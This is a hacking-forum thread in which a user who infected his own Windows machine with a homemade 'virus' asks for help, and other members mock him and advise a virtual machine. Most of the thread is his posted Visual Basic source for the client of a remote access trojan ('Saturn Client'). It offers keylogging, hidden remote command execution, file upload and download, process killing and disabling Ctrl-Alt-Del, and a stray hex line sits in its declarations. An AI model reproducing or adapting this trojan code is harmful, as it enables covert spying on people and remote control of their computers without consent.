Author Topic: .Lnk Virus  (Read 1989 times)

0 Members and 1 Guest are viewing this topic.

Offline pyte

  • Peasant
  • *
  • Posts: 79
  • Cookies: -7
    • View Profile
.Lnk Virus
« on: December 12, 2012, 01:55:11 pm »
Hi Residents,


i think im having a big problem here, i created a virus meant to help me get through to remote administration but now all my files and programs have assumed a .Lnk extension .
how do i solve this in windows vista & windows 7?
a restore aint working the buttons are disabled.
kindly assist

If you don't go into the tiger's cave, how will you get the cub?

Offline Kulverstukas

  • Administrator
  • Zeus
  • *
  • Posts: 6627
  • Cookies: 542
  • Fascist dictator
    • View Profile
    • My blog
Re: .Lnk Virus
« Reply #1 on: December 12, 2012, 01:59:48 pm »
You created that "virus", so you should know what it does and how do neutralize it. With the information you gave there is very little we can do.
Show us your code.

Offline Daemon

  • VIP
  • Baron
  • *
  • Posts: 845
  • Cookies: 153
  • A wise man fears a gentle mans anger
    • View Profile
Re: .Lnk Virus
« Reply #2 on: December 12, 2012, 07:31:01 pm »
First off... LOL
Im sorry man, but you infected yourself with your own virus? That's kinda funny, i take it your pretty new to this :P

As for helping fix it, like Kulver said. Source code would help a lot. Once we understand what the virus is supposed to do then we can better help you get rid of the .Lnk extension (which is random as phuck btw)
Though if you didn't write the code yourself, then point us to where you got it and that might help us as well.


And next, for gods sake us a Virtual Machine!!! :P
This lifestyle is strictly DIY or GTFO - lucid

Because sexploits are for h0edays - noncetonic


Xires burns the souls of HF skids as a power supply

Offline pyte

  • Peasant
  • *
  • Posts: 79
  • Cookies: -7
    • View Profile
Re: .Lnk Virus
« Reply #3 on: December 12, 2012, 09:32:00 pm »
Here is the code... vb.net Includes borrowed codes online.

Code: (vb) [Select]
FORMCLIENT.FRM


Option Explicit


Const MAX_FRAME = 10


Dim cRemoteDirectory As String
Dim cTituloCurto As String
Dim nTrojanPort As Long
Dim nFrame As Integer
8D09005F5E5B8BE55DC39090558BEC83C4C0535647
Dim hFileUploadDownload As Long
Dim lUploadDownload As Boolean


Dim lConnected As Boolean
Dim lAudio As Boolean


Private Sub botaoframe_Click(Index As Integer)
  On Error Resume Next


  If Index = 9 Then
     If ListRemoteDrive.ListCount = 0 Then
        EnviaString COMMAND_CHANGE_DRIVE
     End If
  End If


  Frames_Click Index
End Sub


Private Sub BotaoFrame_GotFocus(Index As Integer)
  botaoframe_Click Index
End Sub


Private Sub c_Click()


End Sub


Private Sub Form_Load()
  On Error Resume Next


 ' but_discon.Enabled = False


  For nFrame = 0 To MAX_FRAME
      Frames(nFrame).Visible = False
      Frames(nFrame).Tag = False
  Next


  nFrame = 0


  Frames(0).Tag = True
  Frames_Click 0


  FormClient.Caption = "Saturn Client 1.01"
  cTituloCurto = "Senna Spy - ICQ UIN: 3973927"


  LimparControles
End Sub


Private Sub Frames_Click(Index As Integer)
  On Error Resume Next


  Dim nTopOld As Long
  Dim nLeftOld As Long
  Dim nWidthOld As Long
  Dim nHeightOld As Long


  If Index <> nFrame Or Frames(Index).Tag = True Then
     nTopOld = Frames(nFrame).Top
     nLeftOld = Frames(nFrame).Left
     nWidthOld = Frames(nFrame).Width
     nHeightOld = Frames(nFrame).Height


     Frames(nFrame).Visible = False
     Frames(nFrame).Tag = False


     Frames(Index).Visible = True
     Frames(Index).Caption = BotaoFrame(Index).Caption


     Frames(nFrame).Top = Frames(Index).Top
     Frames(nFrame).Left = Frames(Index).Left
     Frames(nFrame).Width = Frames(Index).Width
     Frames(nFrame).Height = Frames(Index).Height


     nFrame = Index


     Frames(nFrame).Top = nTopOld
     Frames(nFrame).Left = nLeftOld
     Frames(nFrame).Width = nWidthOld
     Frames(nFrame).Height = nHeightOld
  End If
End Sub


Private Sub BotaoApagarBitmap_Click()
  EnviaString COMMAND_CHANGE_WALLPAPER
End Sub


Private Sub BotaoPesquisaBitmap_Click()
  ListBitmap.Clear


  EnviaString COMMAND_FIND_BITMAP + "*.BMP"
End Sub


Private Sub BotaoComando_Click()
  If TextComando.Text <> "" Then
     EnviaString COMMAND_EXECUTE_DOS + TextComando.Text
  End If
End Sub


Private Sub BotaoDerrubar_Click()
  EnviaString COMMAND_HANGUP
End Sub


Private Sub BotaoHideTaskbar_Click()
  EnviaString COMMAND_TASKBAR_HIDE
End Sub


Private Sub BotaoShowTaskbar_Click()
  EnviaString COMMAND_TASKBAR_SHOW
End Sub


Private Sub BotaoMouseTroca_Click()
  EnviaString COMMAND_MOUSE_CHANGE
End Sub


Private Sub BotaoMouseNormal_Click()
  EnviaString COMMAND_MOUSE_NORMAL
End Sub


Private Sub BotaoCtrlAltDelEnable_Click()
  EnviaString COMMAND_CTRLALTDEL_ENABLE
End Sub


Private Sub BotaoCtrlAltDelDisable_Click()
  EnviaString COMMAND_CTRLALTDEL_DISABLE
End Sub


Private Sub BotaoAbrirCD_Click()
  EnviaString COMMAND_CDROM_OPEN
End Sub


Private Sub BotaoFecharCD_Click()
  EnviaString COMMAND_CDROM_CLOSE
End Sub


Private Sub BotaoDoubleClickOn_Click()
  EnviaString COMMAND_DOUBLECLICK_ON
End Sub


Private Sub BotaoDoubleClickOff_Click()
  EnviaString COMMAND_DOUBLECLICK_OFF
End Sub


Private Sub BotaoClipboardOn_Click()
  EnviaString COMMAND_CLIPBOARD_ON
End Sub


Private Sub BotaoClipboardOff_Click()
  EnviaString COMMAND_CLIPBOARD_OFF
End Sub


Private Sub BotaoDesativarKeyLog_Click()
  EnviaString COMMAND_KEYLOG_OFF
End Sub


Private Sub BotaoAtivarKeyLog_Click()
  EnviaString COMMAND_KEYLOG_ON
End Sub


Private Sub BotaoConectar_Click()
  On Error Resume Next
  Dim Start As Variant


  nTrojanPort = Val(TextPortaTrojan.Text)


  LimparControles
  BotaoConectar.Enabled = True 'mark
  but_discon.Enabled = True


  While WinSockClient.State <> sckClosed
     WinSockClient.Close
     DoEvents
  Wend


  WinSockClient.Protocol = sckUDPProtocol
  WinSockClient.RemoteHost = TextIP.Text
  WinSockClient.RemotePort = nTrojanPort + 1
  WinSockClient.Bind nTrojanPort


  Start = Timer
  lConnected = True 'mark


  EnviaString COMMAND_CONNECT


  While Not lConnected
     DoEvents


     If BotaoConectar.Enabled Or Timer - Start > 90 Then
        MsgBox "Not Connected", , cTituloCurto
        but_discon_Click
        Exit Sub
     End If


     LabelStatus.Caption = "Please wait, connecting ... " & CInt(Timer - Start) & " seconds"
  Wend


  FramePrincipal.Visible = True
  LabelStatus.Caption = "OK"
End Sub


Private Sub BotaoDesconectar_Click()
  LabelStatus.Caption = "Disconnected"


  BotaoDesconectar.Enabled = False


  LimparControles
End Sub


Private Sub BotaoResolucao_Click()
  ListResolucao.Clear


  EnviaString COMMAND_RESOLUTION
End Sub


Private Sub ListResolucao_DblClick()
  EnviaString COMMAND_RESOLUTION + CStr(ListResolucao.ListIndex + 1)
End Sub


Private Sub BotaoEnviarMensagem_Click()
  EnviaString COMMAND_MESSAGE + TextMensagemEnviada.Text
End Sub


Private Sub BotaoEnviaTeclas_Click()
  If TextEnviarTeclas.Text <> "" Then
     EnviaString COMMAND_SENDKEYS + TextEnviarTeclas.Text
  End If
End Sub


Private Sub BotaoLimpaTeclas_Click()
  TextEnviarTeclas.Text = ""
End Sub


Private Sub BotaoTeclas_Click(Index As Integer)
  TextEnviarTeclas.Text = TextEnviarTeclas.Text + BotaoTeclas(Index).Tag
End Sub


Private Sub BotaoMultimidiaAVI_Click()
  ListMultimidia.Clear


  EnviaString COMMAND_FIND_MULTIMEDIA + "*.AVI"
End Sub


Private Sub BotaoMultimidiaWAV_Click()
  If lAudio Then
     ListMultimidia.Clear


     EnviaString COMMAND_FIND_MULTIMEDIA + "*.WAV"
  Else
     MsgBox "Server Without Sound Card"
  End If
End Sub


Private Sub BotaoPesquisarArquivos_Click()
  If TextPesquisarArquivos.Text = "" Then
     MsgBox "Type the files for find", , cTituloCurto


  Else
     ListPesquisarArquivos.Clear


     EnviaString COMMAND_FIND_FILE & TextPesquisarArquivos.Text
  End If
End Sub


Private Sub BotaoProcessos_Click()
  ListProcessos.Clear


  EnviaString COMMAND_PROCESS_OPEN
End Sub


Private Sub BotaoResetar_Click()
  EnviaString COMMAND_RESET
End Sub


Private Sub BotaoRemoveServer_Click()
  If MsgBox("Remove Server ?", vbYesNo) = vbYes Then
     If MsgBox("Continue ?", vbYesNo) = vbYes Then
        EnviaString COMMAND_REMOVE_SERVER + "GostlavxmEfrhaqfBlarGlhpkriyx"
     End If
  End If
End Sub


Private Sub BotaoSair_Click()
  BotaoDesconectar_Click


  End
End Sub


Private Sub botaoframe_directory_Click()
  EnviaString COMMAND_CURRENT_DIRECTORY
End Sub


Private Sub BotaoWindows_Click()
  If TextComandoWindows.Text <> "" Then
     If CheckWindows.Value Then
        EnviaString COMMAND_EXECUTE + TextComandoWindows.Text
     Else
        EnviaString COMMAND_EXECUTE_HIDDEN + TextComandoWindows.Text
     End If
  End If
End Sub


Private Sub ListBitmap_DblClick()
  If MsgBox("Confirm the new Wallpaper ?", vbYesNo, cTituloCurto) = vbYes Then
     EnviaString COMMAND_CHANGE_WALLPAPER + ListBitmap.List(ListBitmap.ListIndex)
  End If
End Sub


Private Sub ListMultimidia_DblClick()
  If MsgBox("Play the file ?", vbYesNo, cTituloCurto) = vbYes Then
     EnviaString COMMAND_PLAY_WAV_AVI + ListMultimidia.List(ListMultimidia.ListIndex)
  End If
End Sub


Private Sub ListProcessos_DblClick()
  On Error Resume Next


  Dim cEscolhido As String


  If MsgBox("Kill this Process ?", vbYesNo, cTituloCurto) = vbYes Then
     cEscolhido = ListProcessos.List(ListProcessos.ListIndex) + ":"
     cEscolhido = Trim(Left(cEscolhido, InStr(cEscolhido, ":") - 1))


     If cEscolhido <> "" Then
        EnviaString COMMAND_KILL_PROCESS + cEscolhido


        BotaoProcessos_Click
     End If
  End If
End Sub


Private Sub WinSockClient_DataArrival(ByVal bytesTotal As Long)
  On Error Resume Next
  Dim cDataReceived As String


  WinSockClient.GetData cDataReceived
  VerificaResposta cDataReceived
End Sub


Private Sub WinSockClient_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)
  MsgBox "Error: " & Number & " " & Description, , cTituloCurto
End Sub


Private Sub VerificaResposta(cDataReceived As String)
  On Error Resume Next


  Dim cCommandCode As String
  Dim cDigitou As String
  Dim cSendUploadDownload As String
  Dim cByteUploadDownload As String
  Dim cFileSource As String
  Dim cFileTarget As String
  Dim cArquivo As String
  Dim nLoop As Long


  cCommandCode = Left(cDataReceived, 3)
  cDataReceived = Mid$(cDataReceived, 4, Len(cDataReceived))


  Select Case cCommandCode
     Case ANSWER_CONNECTED
        LabelStatus.Caption = "Connected"
        lConnected = True


        EnviaString COMMAND_COMPUTER
        EnviaString COMMAND_SOUND_CARD
        EnviaString COMMAND_CHANGE_DRIVE


        BotaoProcessos_Click


        BotaoResolucao_Click


     Case ANSWER_OK
        LabelStatus.Caption = cDataReceived


     Case ANSWER_INVALID
        LabelStatus.Caption = "Invalid Command"


     Case ANSWER_STARTING
        LabelStatus.Caption = "Wait ... Starting"


     Case ANSWER_ENDING
        LabelStatus.Caption = "Ending"


     Case ANSWER_FOUND
        LabelStatus.Caption = "Found"


     Case ANSWER_NOT_FOUND
        LabelStatus.Caption = "Not found"


     Case ANSWER_PASSWORD_TYPE
        cDigitou = InputBox("Password:", cTituloCurto, "")


        If cDigitou = "" Then
           VerificaResposta ANSWER_PASSWORD_INVALID


        ElseIf UCase$(cDigitou) = "EXIT" Then
           End


        Else
           EnviaString COMMAND_PASSWORD + cDigitou
        End If


     Case ANSWER_PASSWORD_INVALID
        MsgBox "Invalid password", , cTituloCurto


        VerificaResposta ANSWER_PASSWORD_TYPE


     Case ANSWER_START_DOWNLOAD_FILE
        cArquivo = cDataReceived


        SetAttr cArquivo, vbNormal
        Kill cArquivo


        If hFileUploadDownload <> 0 Then
           Close #hFileUploadDownload
        End If


        hFileUploadDownload = FreeFile
        Open cArquivo For Binary Access Write As #hFileUploadDownload
        LabelStatus.Caption = "Starting Download - " + cArquivo
        lUploadDownload = True


        DownloadFile


     Case ANSWER_BINARY_DOWNLOAD_FILE
        If hFileUploadDownload <> 0 Then
           For nLoop = 1 To Len(cDataReceived) Step 3
               Put #hFileUploadDownload, , Chr$(Val(Mid$(cDataReceived, nLoop, 3)))
           Next


           LabelStatus.Caption = "Bytes Receive: " & LOF(hFileUploadDownload)


           DownloadFile
        End If


     Case ANSWER_END_DOWNLOAD_FILE
        If hFileUploadDownload <> 0 Then
           Close #hFileUploadDownload
        End If


        LabelStatus.Caption = "Download OK"
        ListUploadDownload.RemoveItem 0


        lUploadDownload = False
        NextUploadDownload


     Case COMMAND_UPLOAD_FILE
        cFileSource = Left$(cDataReceived, InStr(cDataReceived, Chr$(9)) - 1)
        cFileTarget = Mid$(cDataReceived, InStr(cDataReceived, Chr$(9)) + 1)


        If Dir(cFileSource) = "" Then
           VerificaResposta ANSWER_END_UPLOAD_FILE


        Else
           If hFileUploadDownload <> 0 Then
              Close #hFileUploadDownload
           End If


           hFileUploadDownload = FreeFile
           Open cFileSource For Binary Access Read As #hFileUploadDownload


           EnviaString COMMAND_START_UPLOAD_FILE & cFileTarget
           lUploadDownload = True
        End If


     Case ANSWER_READ_UPLOAD_FILE
        cSendUploadDownload = ""


        Do While Not EOF(hFileUploadDownload)
           cByteUploadDownload = Input(1, hFileUploadDownload)
           If cByteUploadDownload = "" Then
              Exit Do
           End If


           cSendUploadDownload = cSendUploadDownload + Right$("000" + CStr(Asc(cByteUploadDownload)), 3)
           If Len(cSendUploadDownload) >= 6144 Then
              EnviaString COMMAND_BINARY_UPLOAD_FILE + cSendUploadDownload
              DoEvents


              cSendUploadDownload = ""
           End If


           LabelStatus.Caption = "Bytes Send: " & Loc(hFileUploadDownload)
        Loop


        If cSendUploadDownload = "" Then
           EnviaString COMMAND_END_UPLOAD_FILE
        Else
           EnviaString COMMAND_BINARY_UPLOAD_FILE + cSendUploadDownload


           cSendUploadDownload = ""
        End If


        DoEvents


     Case ANSWER_END_UPLOAD_FILE
        If hFileUploadDownload <> 0 Then
           Close #hFileUploadDownload
        End If


        LabelStatus.Caption = "Upload OK"
        ListUploadDownload.RemoveItem 0


        lUploadDownload = False
        NextUploadDownload


     Case ANSWER_PROCESS_OPEN
        If cDataReceived <> "" Then
           ListProcessos.AddItem cDataReceived
        End If


     Case ANSWER_PROCESS_CANNOT_REMOVED, ANSWER_PROCESS_WITHOUT_PERMISSION
        LabelStatus.Caption = cDataReceived


     Case ANSWER_CURRENT_DIRECTORY
        botaoframe_directory.Caption = "Current Drive/Directory:   " + cDataReceived


     Case ANSWER_MESSAGE
        TextMensagemRecebida.Text = cDataReceived


     Case ANSWER_KEYLOG
        TextKeyLog.Text = Left(TextKeyLog.Text + cDataReceived, 32000)
        TextKeyLog.SelStart = Len(TextKeyLog.Text)


     Case ANSWER_COMPUTER
        TextInformacoesComputador.Text = cDataReceived


     Case ANSWER_SOUND_CARD
        lAudio = (cDataReceived = "T")


     Case ANSWER_PLAY_WAV_AVI
        LabelStatus.Caption = "Playing the multimedia file"


     Case ANSWER_REMOVE_SERVER
        BotaoDesconectar_Click
        Exit Sub


     Case ANSWER_DRIVE
        ListRemoteDrive.AddItem cDataReceived


     Case ANSWER_DIRECTORY_DEFAULT
        cRemoteDirectory = cDataReceived


        If Right$(cRemoteDirectory, 1) <> "\" Then
           cRemoteDirectory = cRemoteDirectory + "\"
        End If


     Case ANSWER_DIRECTORY
        ListRemoteDiretorios.AddItem cDataReceived


     Case ANSWER_FILES_NAME
        ListRemoteArquivos.AddItem cDataReceived


     Case ANSWER_FIND_FILE
        ListPesquisarArquivos.AddItem cDataReceived


     Case ANSWER_FIND_BITMAP
        ListBitmap.AddItem cDataReceived


     Case ANSWER_FIND_MULTIMEDIA
        ListMultimidia.AddItem cDataReceived


     Case ANSWER_RESOLUTION
        ListResolucao.AddItem cDataReceived


     Case ANSWER_EXECUTE_DOS
        TextResultadoComando.Text = cDataReceived
  End Select
End Sub


Private Sub LimparControles()
  On Error Resume Next


  TextInformacoesComputador.Text = ""
  TextPesquisarArquivos.Text = ""
  TextMensagemRecebida.Text = ""
  TextMensagemEnviada.Text = ""
  TextResultadoComando.Text = ""
  TextComando.Text = ""
  TextEnviarTeclas.Text = ""


  BotaoConectar.Enabled = True
  FramePrincipal.Visible = False
  lConnected = False
  lAudio = False
  lUploadDownload = False


  If hFileUploadDownload <> 0 Then
     Close #hFileUploadDownload


     hFileUploadDownload = 0
  End If


  ListPesquisarArquivos.Clear
  ListMultimidia.Clear
  ListUploadDownload.Clear
  ListRemoteDiretorios.Clear
  ListRemoteArquivos.Clear
  ListRemoteDrive.Clear
  ListProcessos.Clear
  ListResolucao.Clear
  ListBitmap.Clear


  LabelStatus = "Status ..."


  LabelPorta.Caption = "Trojan Port:"
  BotaoConectar.Caption = "Connect"
  BotaoDesconectar.Caption = "Disconnect"
  BotaoSair.Caption = "Exit"


  BotaoFrame(0).Caption = "Computer Information"
  BotaoFrame(1).Caption = "Messages (Chat)"
  BotaoFrame(2).Caption = "Keyboard (Send Keys)"
  BotaoFrame(3).Caption = "KeyBoard Log (KeyLog)"
  BotaoFrame(4).Caption = "Execute Commands"
  BotaoFrame(5).Caption = "Active Process"
  BotaoFrame(6).Caption = "Find Files"
  BotaoFrame(7).Caption = "WallPaper"
  BotaoFrame(8).Caption = "Multimedia"
  BotaoFrame(9).Caption = "File Transfer"
  BotaoFrame(10).Caption = "Special"


  'botaoframe_directory.Caption = "Click here for get current Drive and Directory"


  LabelMensagemEnviada.Caption = "Send message:"
  LabelMensagemRecebida.Caption = "Received message:"
  BotaoEnviarMensagem.Caption = "Send"


  LabelEnviarTeclas.Caption = "Send:"
  BotaoEnviaTeclas.Caption = "Send"
  BotaoLimpaTeclas.Caption = "Clean"


  LabelResultadoComando.Caption = "Result of the command:"
  LabelWindows.Caption = "Windows Command:"
  LabelDOS.Caption = "DOS Command:"
  CheckWindows.Caption = "Allow the user to see the execution of the program ?"
  TextComandoWindows.Text = "Type here the Windows command/program to be executed"
  TextComando.Text = "Type here the command DOS and wait answer..."
  BotaoComando.Caption = "Send"
  BotaoWindows.Caption = "Send"


  BotaoAbrirCD.Caption = "Open CD"
  BotaoFecharCD.Caption = "Close CD"
  BotaoDoubleClickOn.Caption = "Double Click On"
  BotaoDoubleClickOff.Caption = "Double Click Off"
  BotaoClipboardOn.Caption = "Clipboard On"
  BotaoClipboardOff.Caption = "Clipboard Off"
  BotaoAtivarKeyLog.Caption = "Enable KeyLog"
  BotaoDesativarKeyLog.Caption = "Disable KeyLog"
  BotaoResetar.Caption = "Reset"
  BotaoDerrubar.Caption = "Hang up"
  BotaoRemoveServer.Caption = "Server Remove"
  BotaoShowTaskbar.Caption = "Taskbar ON"
  BotaoHideTaskbar.Caption = "Taskbar OFF"
  BotaoMouseTroca.Caption = "Invert Mouse Buttons"
  BotaoMouseNormal.Caption = "Mouse Buttons OK"
  BotaoCtrlAltDelEnable.Caption = "Ctrl Alt Del On"
  BotaoCtrlAltDelDisable.Caption = "Ctrl Alt Del Off"


  LabelAvisoProcessos.Caption = "Give a double click in the process to eliminate it of the memory"
  LabelProcessos.Caption = "Active Process:"
  BotaoProcessos.Caption = "Process"


  LabelPapelParede.Caption = "Give a double click in the file to activate it as the new wall paper"
  BotaoPesquisaBitmap.Caption = "Find files"
  BotaoApagarBitmap.Caption = "Turn off wall paper"


  LabelPesquisaArquivos.Caption = "Find the files:"
  BotaoPesquisarArquivos.Caption = "Find"


  LabelMultimidia.Caption = "Give a double click in the file to reproduce it"
  BotaoMultimidiaAVI.Caption = "Find AVI files"
  BotaoMultimidiaWAV.Caption = "Find WAV files"


  BotaoResolucao.Caption = "Find Monitor Resolution"
End Sub


Public Sub EnviaString(cString As String)
  On Error Resume Next


  WinSockClient.SendData cString
End Sub


Private Sub DriveLocal_Change()
  On Error GoTo DriveError
  DirLocal.Path = DriveLocal.Drive
  Exit Sub


DriveError:
  DriveLocal.Drive = Left$(DirLocal.Path, 2)
  DirLocal.Path = DriveLocal.Drive


  Exit Sub
End Sub


Private Sub DirLocal_Change()
  On Error Resume Next


  FileLocal.Path = DirLocal.Path
End Sub


Private Sub FileLocal_DblClick()
  BotaoUploadFiles_Click
End Sub


Private Sub ListRemoteDrive_DblClick()
  On Error Resume Next


  Dim cDrive As String
  cDrive = ListRemoteDrive.List(ListRemoteDrive.ListIndex)


  ListRemoteDrive.Clear
  ListRemoteDiretorios.Clear
  ListRemoteArquivos.Clear


  EnviaString COMMAND_CHANGE_DRIVE + cDrive
End Sub


Private Sub ListRemoteDiretorios_DblClick()
  On Error Resume Next


  Dim cPath As String
  cPath = ListRemoteDiretorios.List(ListRemoteDiretorios.ListIndex)


  ListRemoteDiretorios.Clear
  ListRemoteArquivos.Clear


  EnviaString COMMAND_CHANGE_DIRECTORY + cPath
End Sub


Private Sub ListRemoteArquivos_DblClick()
  BotaoDownloadFiles_Click
End Sub


Private Sub ListUploadDownload_DblClick()
  On Error Resume Next


  If lUploadDownload Then
     If ListUploadDownload.ListIndex = 0 Then
        If Left$(ListUploadDownload.List(ListUploadDownload.ListIndex), 1) = "U" Then
           EnviaString COMMAND_END_DOWNLOAD_FILE
        ElseIf Left$(ListUploadDownload.List(ListUploadDownload.ListIndex), 1) = "D" Then
           EnviaString COMMAND_END_UPLOAD_FILE
        End If
     End If


     lUploadDownload = False
     NextUploadDownload
  End If


  ListUploadDownload.RemoveItem ListUploadDownload.ListIndex
End Sub


Private Sub BotaoDownloadFiles_Click()
  On Error Resume Next


  Dim cArquivo As String
  Dim cString As String
  Dim cPath As String


  Dim lErro As Boolean


  Dim nLoop2 As Long
  Dim nLoop As Long


  cPath = FileLocal.Path
  If Right$(cPath, 1) <> "\" Then
     cPath = cPath + "\"
  End If


  For nLoop = 0 To ListRemoteArquivos.ListCount - 1
      If ListRemoteArquivos.Selected(nLoop) Then
         cArquivo = cRemoteDirectory + ListRemoteArquivos.List(nLoop)


         cString = "Download" & Chr$(9) & cArquivo & Chr$(9) & cPath & ListRemoteArquivos.List(nLoop)


         lErro = False
         For nLoop2 = 0 To ListUploadDownload.ListCount - 1
             If ListUploadDownload.List(nLoop2) = cString Then
                lErro = True
                Exit For
             End If
         Next


         If Not lErro Then
            ListUploadDownload.AddItem cString
         End If
      End If
  Next


  NextUploadDownload
End Sub


Private Sub BotaoUploadFiles_Click()
  On Error Resume Next


  Dim cArquivo As String
  Dim cString As String
  Dim cPath As String


  Dim lErro As Boolean


  Dim nLoop2 As Long
  Dim nLoop As Long


  cPath = FileLocal.Path
  If Right$(cPath, 1) <> "\" Then
     cPath = cPath + "\"
  End If


  For nLoop = 0 To FileLocal.ListCount - 1
      If FileLocal.Selected(nLoop) Then
         cArquivo = cPath + FileLocal.List(nLoop)


         cString = "Upload  " & Chr$(9) & cArquivo & Chr$(9) & cRemoteDirectory & FileLocal.List(nLoop)


         lErro = False
         For nLoop2 = 0 To ListUploadDownload.ListCount - 1
             If ListUploadDownload.List(nLoop2) = cString Then
                lErro = True
                Exit For
             End If
         Next


         If Not lErro Then
            ListUploadDownload.AddItem cString
         End If
      End If
  Next


  NextUploadDownload
End Sub


Public Sub NextUploadDownload()
  On Error Resume Next


  If Not lUploadDownload Then
     If ListUploadDownload.ListCount >= 1 Then
        If Left$(ListUploadDownload.List(0), 1) = "U" Then
           VerificaResposta COMMAND_UPLOAD_FILE & Mid$(ListUploadDownload.List(0), InStr(ListUploadDownload.List(0), Chr$(9)) + 1)
        ElseIf Left$(ListUploadDownload.List(0), 1) = "D" Then
           EnviaString COMMAND_DOWNLOAD_FILE & Mid$(ListUploadDownload.List(0), InStr(ListUploadDownload.List(0), Chr$(9)) + 1)
        End If
     End If
  End If
End Sub


Public Sub DownloadFile()
  EnviaString COMMAND_READ_DOWNLOAD_FILE
  DoEvents
End Sub


=============================================
COMMANDOSCLIENT.BAS


Option Explicit


Public Const ANSWER_CONNECTED = "A01"
Public Const ANSWER_OK = "A02"
Public Const ANSWER_INVALID = "A03"
Public Const ANSWER_STARTING = "A04"
Public Const ANSWER_ENDING = "A05"
Public Const ANSWER_FOUND = "A06"
Public Const ANSWER_NOT_FOUND = "A07"


Public Const COMMAND_PASSWORD = "B01"
Public Const ANSWER_PASSWORD_TYPE = "B02"
Public Const ANSWER_PASSWORD_INVALID = "B03"


Public Const COMMAND_PROCESS_OPEN = "C01"
Public Const ANSWER_PROCESS_OPEN = "C02"
Public Const COMMAND_KILL_PROCESS = "C03"
Public Const ANSWER_PROCESS_WITHOUT_PERMISSION = "C04"
Public Const ANSWER_PROCESS_CANNOT_REMOVED = "C05"


Public Const COMMAND_CURRENT_DIRECTORY = "D01"
Public Const ANSWER_CURRENT_DIRECTORY = "D02"


Public Const COMMAND_DOUBLECLICK_ON = "E01"
Public Const COMMAND_DOUBLECLICK_OFF = "E02"


Public Const COMMAND_CLIPBOARD_ON = "F01"
Public Const COMMAND_CLIPBOARD_OFF = "F02"


Public Const COMMAND_MESSAGE = "G01"
Public Const ANSWER_MESSAGE = "G02"


Public Const COMMAND_COMPUTER = "H01"
Public Const ANSWER_COMPUTER = "H02"


Public Const COMMAND_PLAY_WAV_AVI = "I01"
Public Const ANSWER_PLAY_WAV_AVI = "I02"


Public Const COMMAND_FIND_FILE = "J01"
Public Const ANSWER_FIND_FILE = "J02"


Public Const COMMAND_FIND_BITMAP = "K01"
Public Const ANSWER_FIND_BITMAP = "K02"


Public Const COMMAND_FIND_MULTIMEDIA = "L01"
Public Const ANSWER_FIND_MULTIMEDIA = "L02"


Public Const COMMAND_RESOLUTION = "M01"
Public Const ANSWER_RESOLUTION = "M02"


Public Const COMMAND_RESET = "N01"
Public Const COMMAND_HANGUP = "N02"
Public Const COMMAND_END = "N03"


Public Const COMMAND_CDROM_OPEN = "O01"
Public Const COMMAND_CDROM_CLOSE = "002"


Public Const COMMAND_EXECUTE = "P01"
Public Const COMMAND_EXECUTE_HIDDEN = "P02"
Public Const COMMAND_EXECUTE_DOS = "P03"
Public Const ANSWER_EXECUTE_DOS = "P04"


Public Const COMMAND_CHANGE_WALLPAPER = "Q01"
Public Const COMMAND_SENDKEYS = "Q02"
Public Const COMMAND_CONNECT = "Q03"
Public Const COMMAND_FIREWALL = "Q04"


Public Const COMMAND_TASKBAR_SHOW = "R01"
Public Const COMMAND_TASKBAR_HIDE = "R02"
Public Const COMMAND_MOUSE_CHANGE = "R03"
Public Const COMMAND_MOUSE_NORMAL = "R04"
Public Const COMMAND_CTRLALTDEL_ENABLE = "R05"
Public Const COMMAND_CTRLALTDEL_DISABLE = "R06"


Public Const COMMAND_KEYLOG_ON = "S01"
Public Const COMMAND_KEYLOG_OFF = "S02"
Public Const ANSWER_KEYLOG = "S03"


Public Const COMMAND_SOUND_CARD = "T01"
Public Const ANSWER_SOUND_CARD = "T02"


Public Const COMMAND_REMOVE_SERVER = "U01"
Public Const ANSWER_REMOVE_SERVER = "U02"
Public Const COMMAND_CHANGE_DRIVE = "V01"
Public Const ANSWER_DRIVE = "V02"
Public Const COMMAND_CHANGE_DIRECTORY = "V03"
Public Const ANSWER_DIRECTORY = "V04"
Public Const ANSWER_DIRECTORY_DEFAULT = "V05"
Public Const ANSWER_FILES_NAME = "V06"


Public Const COMMAND_DOWNLOAD_FILE = "W01"
Public Const COMMAND_READ_DOWNLOAD_FILE = "W02"
Public Const ANSWER_START_DOWNLOAD_FILE = "W03"
Public Const COMMAND_END_DOWNLOAD_FILE = "W04"
Public Const ANSWER_END_DOWNLOAD_FILE = "W05"
Public Const ANSWER_BINARY_DOWNLOAD_FILE = "W06"


Public Const COMMAND_UPLOAD_FILE = "X01"
Public Const COMMAND_READ_UPLOAD_FILE = "X02"
Public Const ANSWER_READ_UPLOAD_FILE = "X03"
Public Const COMMAND_START_UPLOAD_FILE = "X04"
Public Const ANSWER_START_UPLOAD_FILE = "X05"
Public Const COMMAND_END_UPLOAD_FILE = "X06"
Public Const ANSWER_END_UPLOAD_FILE = "X07"
Public Const COMMAND_BINARY_UPLOAD_FILE = "X08"





« Last Edit: December 12, 2012, 09:54:16 pm by Kulverstukas »
If you don't go into the tiger's cave, how will you get the cub?

Offline Ragehottie

  • Knight
  • **
  • Posts: 313
  • Cookies: -9
  • Hack to learn, not learn to hack.
    • View Profile
Re: .Lnk Virus
« Reply #4 on: December 12, 2012, 11:02:28 pm »
...Includes borrowed codes online...



I'm taking that as you found it somewhere and typed it. But as Daemon said, use a virtual machine for stuff like this!
Blog: rexmckinnon.tumblr.com

Offline pyte

  • Peasant
  • *
  • Posts: 79
  • Cookies: -7
    • View Profile
Re: .Lnk Virus
« Reply #5 on: December 13, 2012, 04:02:19 am »
thank guys got a way to edit the registry..im fine now
il get myself a vm and some lessons on trojans too. ;)
If you don't go into the tiger's cave, how will you get the cub?